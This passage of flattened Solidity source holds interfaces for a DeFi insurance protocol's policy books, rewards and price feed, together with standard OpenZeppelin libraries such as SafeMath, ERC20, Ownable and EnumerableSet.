function getPriceFeedContract() external view returns (address);
function getPolicyBookRegistryContract() external view returns (address);
function getPolicyBookFabricContract() external view returns (address);
function getBMICoverStakingContract() external view returns (address);
function getRewardsGeneratorContract() external view returns (address);
function getBMIUtilityNFTContract() external view returns (address);
function getLiquidityMiningContract() external view returns (address);
function getClaimingRegistryContract() external view returns (address);
function getPolicyRegistryContract() external view returns (address);
function getLiquidityRegistryContract() external view returns (address);
function getClaimVotingContract() external view returns (address);
function getReinsurancePoolContract() external view returns (address);
function getPolicyBookAdminContract() external view returns (address);
function getPolicyQuoteContract() external view returns (address);
function getLegacyBMIStakingContract() external view returns (address);
function getBMIStakingContract() external view returns (address);
function getSTKBMIContract() external view returns (address);
function getVBMIContract() external view returns (address);
function getLegacyLiquidityMiningStakingContract() external view returns (address);
function getLiquidityMiningStakingContract() external view returns (address);
function getReputationSystemContract() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface IPolicyBookFabric {
enum ContractType {CONTRACT, STABLECOIN, SERVICE, EXCHANGE}
/// @notice Create new Policy Book contract, access: ANY
/// @param _contract is Contract to create policy book for
/// @param _contractType is Contract to create policy book for
/// @param _description is bmiXCover token desription for this policy book
/// @param _projectSymbol replaces x in bmiXCover token symbol
/// @param _initialDeposit is an amount user deposits on creation (addLiquidity())
/// @return _policyBook is address of created contract
function create(
address _contract,
ContractType _contractType,
string calldata _description,
string calldata _projectSymbol,
uint256 _initialDeposit
) external returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "./IPolicyBookFabric.sol";
interface IPolicyBookRegistry {
struct PolicyBookStats {
string symbol;
address insuredContract;
IPolicyBookFabric.ContractType contractType;
uint256 maxCapacity;
uint256 totalSTBLLiquidity;
uint256 stakedSTBL;
uint256 APY;
uint256 annualInsuranceCost;
uint256 bmiXRatio;
bool whitelisted;
}
/// @notice Adds PolicyBook to registry, access: PolicyFabric
function add(
address insuredContract,
IPolicyBookFabric.ContractType contractType,
address policyBook
) external;
function whitelist(address policyBookAddress, bool whitelisted) external;
/// @notice returns required allowances for the policybooks
function getPoliciesPrices(
address[] calldata policyBooks,
uint256[] calldata epochsNumbers,
uint256[] calldata coversTokens
) external view returns (uint256[] memory _durations, uint256[] memory _allowances);
/// @notice Buys a batch of policies
function buyPolicyBatch(
address[] calldata policyBooks,
uint256[] calldata epochsNumbers,
uint256[] calldata coversTokens
) external;
/// @notice Checks if provided address is a PolicyBook
function isPolicyBook(address policyBook) external view returns (bool);
/// @notice Returns number of registered PolicyBooks with certain contract type
function countByType(IPolicyBookFabric.ContractType contractType)
external
view
returns (uint256);
/// @notice Returns number of registered PolicyBooks, access: ANY
function count() external view returns (uint256);
function countByTypeWhitelisted(IPolicyBookFabric.ContractType contractType)
external
view
returns (uint256);
function countWhitelisted() external view returns (uint256);
/// @notice Listing registered PolicyBooks with certain contract type, access: ANY
/// @return _policyBooksArr is array of registered PolicyBook addresses with certain contract type
function listByType(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr);
/// @notice Listing registered PolicyBooks, access: ANY
/// @return _policyBooksArr is array of registered PolicyBook addresses
function list(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr);
function listByTypeWhitelisted(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr);
function listWhitelisted(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr);
/// @notice Listing registered PolicyBooks with stats and certain contract type, access: ANY
function listWithStatsByType(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
/// @notice Listing registered PolicyBooks with stats, access: ANY
function listWithStats(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
function listWithStatsByTypeWhitelisted(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
function listWithStatsWhitelisted(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
/// @notice Getting stats from policy books, access: ANY
/// @param policyBooks is list of PolicyBooks addresses
function stats(address[] calldata policyBooks)
external
view
returns (PolicyBookStats[] memory _stats);
/// @notice Return existing Policy Book contract, access: ANY
/// @param insuredContract is contract address to lookup for created IPolicyBook
function policyBookFor(address insuredContract) external view returns (address);
/// @notice Getting stats from policy books, access: ANY
/// @param insuredContracts is list of insuredContracts in registry
function statsByInsuredContracts(address[] calldata insuredContracts)
external
view
returns (PolicyBookStats[] memory _stats);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface IRewardsGenerator {
struct PolicyBookRewardInfo {
uint256 rewardMultiplier; // includes 5 decimal places
uint256 totalStaked;
uint256 startStakeBlock;
uint256 lastUpdateBlock;
uint256 cumulativeSum; // includes 100 percentage
uint256 cumulativeReward;
uint256 average; // includes 100 percentage
uint256 toUpdateAverage; // includes 100 percentage
}
struct StakeRewardInfo {
uint256 averageOnStake; // includes 100 percentage
uint256 aggregatedReward;
uint256 stakeAmount;
uint256 stakeBlock;
}
/// @notice this function is called every time policybook's STBL to bmiX rate changes
function updatePolicyBookShare(uint256 newRewardMultiplier) external;
/// @notice aggregates specified nfts into a single one
function aggregate(
address policyBookAddress,
uint256[] calldata nftIndexes,
uint256 nftIndexTo
) external;
/// @notice informs generator of stake (rewards)
function stake(
address policyBookAddress,
uint256 nftIndex,
uint256 amount
) external;
/// @notice returns policybook's APY multiplied by 10**5
function getPolicyBookAPY(address policyBookAddress) external view returns (uint256);
/// @dev returns PolicyBook reward per block multiplied by 10**25
function getPolicyBookRewardPerBlock(address policyBookAddress)
external
view
returns (uint256);
/// @notice returns PolicyBook's staked STBL
function getStakedPolicyBookSTBL(address policyBookAddress) external view returns (uint256);
/// @notice returns NFT's staked STBL
function getStakedNFTSTBL(uint256 nftIndex) external view returns (uint256);
/// @notice returns a reward of NFT
function getReward(address policyBookAddress, uint256 nftIndex)
external
view
returns (uint256);
/// @notice informs generator of withdrawal (all funds)
function withdrawFunds(address policyBookAddress, uint256 nftIndex) external returns (uint256);
/// @notice informs generator of withdrawal (rewards)
function withdrawReward(address policyBookAddress, uint256 nftIndex)
external
returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface IPriceFeed {
function howManyBMIsInUSDT(uint256 usdtAmount) external view returns (uint256);
function howManyUSDTsInBMI(uint256 bmiAmount) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
/// @notice the intention of this library is to be able to easily convert
/// one amount of tokens with N decimal places
/// to another amount with M decimal places
library DecimalsConverter {
using SafeMath for uint256;
function convert(
uint256 amount,
uint256 baseDecimals,
uint256 destinationDecimals
) internal pure returns (uint256) {
if (baseDecimals > destinationDecimals) {
amount = amount.div(10**(baseDecimals - destinationDecimals));
} else if (baseDecimals < destinationDecimals) {
amount = amount.mul(10**(destinationDecimals - baseDecimals));
}
return amount;
}
function convertTo18(uint256 amount, uint256 baseDecimals) internal pure returns (uint256) {
return convert(amount, baseDecimals, 18);
}
function convertFrom18(uint256 amount, uint256 destinationDecimals)
internal
pure
returns (uint256)
{
return convert(amount, 18, destinationDecimals);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
